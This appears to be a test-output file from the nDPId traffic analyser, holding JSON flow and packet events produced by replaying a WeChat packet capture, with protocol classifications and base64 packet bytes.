+00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1563,"source":"wechat.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":1,"flow_first_seen":1492171166440,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":34999,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00512{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1563,"source":"wechat.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":1,"flow_first_seen":1492171166696,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":35000,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1563,"source":"wechat.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":1,"flow_first_seen":1492171166696,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":35000,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00512{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1563,"source":"wechat.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":1492171164904,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.34","src_port":39207,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1563,"source":"wechat.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":1492171164904,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.34","src_port":39207,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00512{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1563,"source":"wechat.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":1,"flow_first_seen":1492171168104,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.34","src_port":39231,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1563,"source":"wechat.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":1,"flow_first_seen":1492171168104,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.34","src_port":39231,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1563,"source":"wechat.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":1,"flow_first_seen":1492171175912,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"216.58.205.131","src_port":58143,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00426{"flow_id":93,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1563,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171175,"pkt_ts_usec":912251,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0iE1AAEAGSqnAqAFn2DrNg+MfAbtA+v0fFZsbqIAQAT54MgAAAQEICgA\/T0Ay2r7t"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1564,"source":"wechat.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":1,"flow_first_seen":1492171176772,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.34","src_port":39195,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00426{"flow_id":94,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1564,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171176,"pkt_ts_usec":772041,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA01BdAAEAGIxbAqAFnX2UiIpkbAFBTLvPZ9eqaX4ARCgvX7AAAAQEICgA\/UBZwfB+e"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1565,"source":"wechat.pcap","alias":"nDPId-test","flow_id":95,"flow_packet_id":1,"flow_first_seen":1492171176772,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":34996,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":95,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1565,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171176,"pkt_ts_usec":772128,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0\/69AAEAG937AqAFnX2UiIYi0AFB\/4ffl18M9+4ARCyPlEAAAAQEICgA\/UBZr6XAp"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1566,"source":"wechat.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":1,"flow_first_seen":1492171176772,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":34999,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00426{"flow_id":96,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1566,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171176,"pkt_ts_usec":772209,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0jqVAAEAGaInAqAFnX2UiIYi3AFBZ1tli3d8I5IARBaRdlQAAAQEICgA\/UBdr6XCp"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1567,"source":"wechat.pcap","alias":"nDPId-test","flow_id":97,"flow_packet_id":1,"flow_first_seen":1492171176772,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":35000,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00426{"flow_id":97,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1567,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171176,"pkt_ts_usec":772262,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0R7tAAEAGr3PAqAFnX2UiIYi4AFDlnJriImFMS4ARCdyDLQAAAQEICgA\/UBdr6XGp"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1568,"source":"wechat.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":1,"flow_first_seen":1492171176772,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.34","src_port":39207,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00426{"flow_id":98,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1568,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171176,"pkt_ts_usec":772297,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0HRZAAEAG2hfAqAFnX2UiIpknAFAjQjGaFOMj7IARBf682AAAAQEICgA\/UBdwfIhZ"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1569,"source":"wechat.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":1,"flow_first_seen":1492171176772,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.180.179","src_port":52020,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00426{"flow_id":99,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1569,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171176,"pkt_ts_usec":772333,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0251AAEAGiP7AqAFnX2W0s8s0AFCaGNVHW3dgu4ARJJf1WAAAAQEICgA\/UBcc0iJk"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1570,"source":"wechat.pcap","alias":"nDPId-test","flow_id":100,"flow_packet_id":1,"flow_first_seen":1492171176772,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58226,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":100,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1570,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171176,"pkt_ts_usec":772430,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0e59AAEAGnZzAqAFny82Tq+NyAbsh7o58Fu1nsYARAOW08AAAAQEICgA\/UBdF3\/Tx"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1571,"source":"wechat.pcap","alias":"nDPId-test","flow_id":101,"flow_packet_id":1,"flow_first_seen":1492171176772,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":34981,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00427{"flow_id":101,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1571,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171176,"pkt_ts_usec":772473,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0JkRAAEAG0OrAqAFnX2UiIYilAFA23DHogeAL9oARBaR6iAAAAQEICgA\/UBdr6Xcq"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1572,"source":"wechat.pcap","alias":"nDPId-test","flow_id":102,"flow_packet_id":1,"flow_first_seen":1492171176772,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.34","src_port":39231,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":102,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1572,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171176,"pkt_ts_usec":772519,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA00nlAAEAGJLTAqAFnX2UiIpk\/AFBMVGJQaE9vZoARBU64QQAAAQEICgA\/UBdwfJTZ"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1573,"source":"wechat.pcap","alias":"nDPId-test","flow_id":103,"flow_packet_id":1,"flow_first_seen":1492171176772,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":58165,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":103,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1573,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171176,"pkt_ts_usec":772726,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"8IQvSpdgeJKcD6iOCABFAABE+U9AAEARvKPAqAFnwKgB\/uM1ADUAMHLoUUIBAAABAAAAAAAAB3dlYnB1c2gDd2ViBndlY2hhdANjb20AAAEAAQ=="} +00642{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1573,"source":"wechat.pcap","alias":"nDPId-test","flow_id":103,"flow_packet_id":1,"flow_first_seen":1492171176772,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":58165,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.WeChat","breed":"Fun","category":"Chat"},"dns": {"query":"webpush.web.wechat.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00424{"flow_id":94,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1574,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171177,"pkt_ts_usec":4255,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA01BhAAEAGIxXAqAFnX2UiIpkbAFBTLvPZ9eqaX4ARCgvXsQAAAQEICgA\/UFFwfB+e"} +00425{"flow_id":98,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1575,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171177,"pkt_ts_usec":12212,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0HRdAAEAG2hbAqAFnX2UiIpknAFAjQjGaFOMj7IARBf68nAAAAQEICgA\/UFNwfIhZ"} +00427{"flow_id":95,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1576,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171177,"pkt_ts_usec":24209,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0\/7BAAEAG933AqAFnX2UiIYi0AFB\/4ffl18M9+4ARCyPk0AAAAQEICgA\/UFZr6XAp"} +00425{"flow_id":97,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1577,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171177,"pkt_ts_usec":24244,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0R7xAAEAGr3LAqAFnX2UiIYi4AFDlnJriImFMS4ARCdyC7gAAAQEICgA\/UFZr6XGp"} +00427{"flow_id":102,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1578,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171177,"pkt_ts_usec":28203,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA00npAAEAGJLPAqAFnX2UiIpk\/AFBMVGJQaE9vZoARBU64AQAAAQEICgA\/UFdwfJTZ"} +00426{"flow_id":101,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1579,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171177,"pkt_ts_usec":32205,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0JkVAAEAG0OnAqAFnX2UiIYilAFA23DHogeAL9oARBaR6RwAAAQEICgA\/UFhr6Xcq"} +00425{"flow_id":96,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1580,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171177,"pkt_ts_usec":40261,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0jqZAAEAGaIjAqAFnX2UiIYi3AFBZ1tli3d8I5IARBaRdUgAAAQEICgA\/UFpr6XCp"} +00425{"flow_id":99,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1581,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171177,"pkt_ts_usec":40294,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0255AAEAGiP3AqAFnX2W0s8s0AFCaGNVHW3dgu4ARJJf1FQAAAQEICgA\/UFoc0iJk"} +00426{"flow_id":94,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1582,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171177,"pkt_ts_usec":240240,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA01BlAAEAGIxTAqAFnX2UiIpkbAFBTLvPZ9eqaX4ARCgvXdgAAAQEICgA\/UIxwfB+e"} +00426{"flow_id":98,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1583,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171177,"pkt_ts_usec":252250,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0HRhAAEAG2hXAqAFnX2UiIpknAFAjQjGaFOMj7IARBf68YAAAAQEICgA\/UI9wfIhZ"} +00426{"flow_id":97,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1584,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171177,"pkt_ts_usec":276282,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0R71AAEAGr3HAqAFnX2UiIYi4AFDlnJriImFMS4ARCdyCrwAAAQEICgA\/UJVr6XGp"} +00428{"flow_id":95,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1585,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171177,"pkt_ts_usec":280257,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0\/7FAAEAG93zAqAFnX2UiIYi0AFB\/4ffl18M9+4ARCyPkkAAAAQEICgA\/UJZr6XAp"} +00428{"flow_id":102,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1586,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171177,"pkt_ts_usec":284244,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA00ntAAEAGJLLAqAFnX2UiIpk\/AFBMVGJQaE9vZoARBU63wQAAAQEICgA\/UJdwfJTZ"} +00427{"flow_id":101,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1587,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171177,"pkt_ts_usec":292249,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0JkZAAEAG0OjAqAFnX2UiIYilAFA23DHogeAL9oARBaR6BgAAAQEICgA\/UJlr6Xcq"} +00426{"flow_id":96,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1588,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171177,"pkt_ts_usec":308260,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0jqdAAEAGaIfAqAFnX2UiIYi3AFBZ1tli3d8I5IARBaRdDwAAAQEICgA\/UJ1r6XCp"} +00426{"flow_id":99,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1589,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171177,"pkt_ts_usec":308326,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0259AAEAGiPzAqAFnX2W0s8s0AFCaGNVHW3dgu4ARJJf00gAAAQEICgA\/UJ0c0iJk"} +00428{"flow_id":100,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1590,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171177,"pkt_ts_usec":380269,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0e6BAAEAGnZvAqAFny82Tq+NyAbsh7o58Fu1nsYARAOW0WAAAAQEICgA\/UK9F3\/Tx"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1591,"source":"wechat.pcap","alias":"nDPId-test","flow_id":104,"flow_packet_id":1,"flow_first_seen":1492171177429,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":43317,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":104,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1591,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171177,"pkt_ts_usec":429365,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"8IQvSpdgeJKcD6iOCABFAABE+fFAAEARvAHAqAFnwKgB\/qk1ADUAMHHYjFIBAAABAAAAAAAAB3dlYnB1c2gDd2ViBndlY2hhdANjb20AAAEAAQ=="} +00642{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1591,"source":"wechat.pcap","alias":"nDPId-test","flow_id":104,"flow_packet_id":1,"flow_first_seen":1492171177429,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":43317,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.WeChat","breed":"Fun","category":"Chat"},"dns": {"query":"webpush.web.wechat.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00426{"flow_id":94,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1592,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171177,"pkt_ts_usec":712245,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA01BpAAEAGIxPAqAFnX2UiIpkbAFBTLvPZ9eqaX4ARCgvXAAAAAQEICgA\/UQJwfB+e"} +00426{"flow_id":98,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1593,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171177,"pkt_ts_usec":732231,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0HRlAAEAG2hTAqAFnX2UiIpknAFAjQjGaFOMj7IARBf676AAAAQEICgA\/UQdwfIhZ"} 